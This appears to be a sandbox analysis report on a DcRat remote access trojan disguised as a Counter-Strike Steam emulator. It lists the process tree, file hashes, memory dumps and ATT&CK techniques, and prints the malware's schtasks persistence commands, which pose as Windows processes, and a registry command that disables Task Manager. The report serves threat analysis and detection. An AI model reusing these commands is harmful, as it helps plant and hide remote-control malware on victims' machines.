"C:\Users\Admin\AppData\Local\Temp\Cs2SteamEmul.exe"
1⤵
- DcRat
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\ChainSurrogateref\s70leb7kkd32CLdRUKa.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\ChainSurrogateref\xpD7eJ.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\ChainSurrogateref\hyperBrowser.exe
      "C:\ChainSurrogateref\hyperBrowser.exe"
      4⤵
      DcRat
      Modifies WinLogon for persistence
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Drops file in System32 directory
      Drops file in Program Files directory
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3892
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\QmztffGewF.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:668
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:4388
      - C:\Windows\System32\restore\System.exe
        
        "C:\Windows\System32\restore\System.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1232
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Windows\CbsTemp\backgroundTaskHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Windows\CbsTemp\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Windows\CbsTemp\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\WaaSMedicAgent.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\ChainSurrogateref\sysmon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\ChainSurrogateref\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\ChainSurrogateref\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\winlogon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\winlogon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\winlogon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Users\Default\WmiPrvSE.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Users\Default\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Windows\IdentityCRL\upfc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Windows\IdentityCRL\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Windows\IdentityCRL\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Windows\System32\restore\System.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Windows\System32\restore\System.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Windows\System32\restore\System.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 9 /tr "'C:\Program Files\WindowsPowerShell\Configuration\explorer.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Configuration\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\Configuration\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Program Files\Crashpad\reports\services.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Crashpad\reports\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Program Files\Crashpad\reports\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\WaaSMedicAgent.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Program Files\Java\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ChainSurrogateref\hyperBrowser.exe

Filesize
2.5MB

MD5
fb9e236436cde0a5a4eed038eaddcba0

SHA1
b952200d5fc543b905081e871d0f17cd86fe614f

SHA256
cbc2a097f5d12d79a5b79af092afba8eee19305a82e3663bcdf7a312bf3b6d49

SHA512
22c83c980a1df703d66f10ea11caaf187c9081c5b85039e4206f4a34418bc030af3baee128873e7bb6f45bd59132cc6191fd9fba3c8818d94c81105ec11a130c

Download Submit
C:\ChainSurrogateref\s70leb7kkd32CLdRUKa.vbe

Filesize
211B

MD5
4410becb8d48b0f40a82e8d65460e611

SHA1
23971351f410149ee5f076de87985cd6b4ab49dc

SHA256
ce4270f5351b45f9a102cb09b20dec64956cb4ab81a36fb6efa0689ab8755ce5

SHA512
539bfef68779f8c70a82346bb2410fe335a79cecba2c17f4d4f8d83e74ed85a6cd1d36ad4a55945b7283e73de65cec7aa45280c9f19e49a4d0f316857d42a3ed

Download Submit
C:\ChainSurrogateref\xpD7eJ.bat

Filesize
162B

MD5
eaa1aa25e323d5ea76d80a5ddbfeca3c

SHA1
a9ce156083afb97e63800dda5ee1e99d845b3a18

SHA256
7bd09663e812891268d97ecf21ea8d6669252fdcb2d3e24c9834252cadc21263

SHA512
f8d204db10ac0b32ebcd9266c4022d342fd2a7a520428eb585dbda826d79ed8744ed6dfd196821bb8bca6a786eabf77af2acbf0080db488e54b07abe1cf78aa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\QmztffGewF.bat

Filesize
203B

MD5
bcfedfd4e06f9d04c47510cf05f8d818

SHA1
fe364bcce646c72ff6b4a1adbe50af68803f54c7

SHA256
92e176a590d6d7fb0fe9c5c145138729f630001001a6a4461399ed25589f7e33

SHA512
c59fced17005344cdd7a89c66a19f77764864cda232bb7b3ca2f50b422c7b2d732c513ac5f6cc712423b85c266bd0b246ad1734853fc4eeb1f142ff8e4d40fbb

Download Submit
memory/1232-66-0x000000001D480000-0x000000001D642000-memory.dmp

Filesize
1.8MB

Download
memory/1232-65-0x00000000028C0000-0x0000000002916000-memory.dmp

Filesize
344KB

Download
memory/3892-17-0x0000000002C00000-0x0000000002C16000-memory.dmp

Filesize
88KB

Download
memory/3892-22-0x000000001C6B0000-0x000000001CBD8000-memory.dmp

Filesize
5.2MB

Download
memory/3892-18-0x0000000002BE0000-0x0000000002BE8000-memory.dmp

Filesize
32KB

Download
memory/3892-19-0x000000001B600000-0x000000001B656000-memory.dmp

Filesize
344KB

Download
memory/3892-15-0x000000001B650000-0x000000001B6A0000-memory.dmp

Filesize
320KB

Download
memory/3892-20-0x000000001B6A0000-0x000000001B6AC000-memory.dmp

Filesize
48KB

Download
memory/3892-21-0x000000001BCC0000-0x000000001BCD2000-memory.dmp

Filesize
72KB

Download
memory/3892-16-0x0000000001250000-0x0000000001258000-memory.dmp

Filesize
32KB

Download
memory/3892-24-0x000000001BD00000-0x000000001BD0C000-memory.dmp

Filesize
48KB

Download
memory/3892-25-0x000000001BD10000-0x000000001BD1E000-memory.dmp

Filesize
56KB

Download
memory/3892-23-0x000000001BCF0000-0x000000001BCFC000-memory.dmp

Filesize
48KB

Download
memory/3892-26-0x000000001BD20000-0x000000001BD2E000-memory.dmp

Filesize
56KB

Download
memory/3892-27-0x000000001BEE0000-0x000000001BEEA000-memory.dmp

Filesize
40KB

Download
memory/3892-14-0x0000000001270000-0x000000000128C000-memory.dmp

Filesize
112KB

Download
memory/3892-13-0x0000000000800000-0x0000000000A92000-memory.dmp

Filesize
2.6MB

Download
memory/3892-12-0x00007FFAB8F23000-0x00007FFAB8F25000-memory.dmp

Filesize
8KB

Download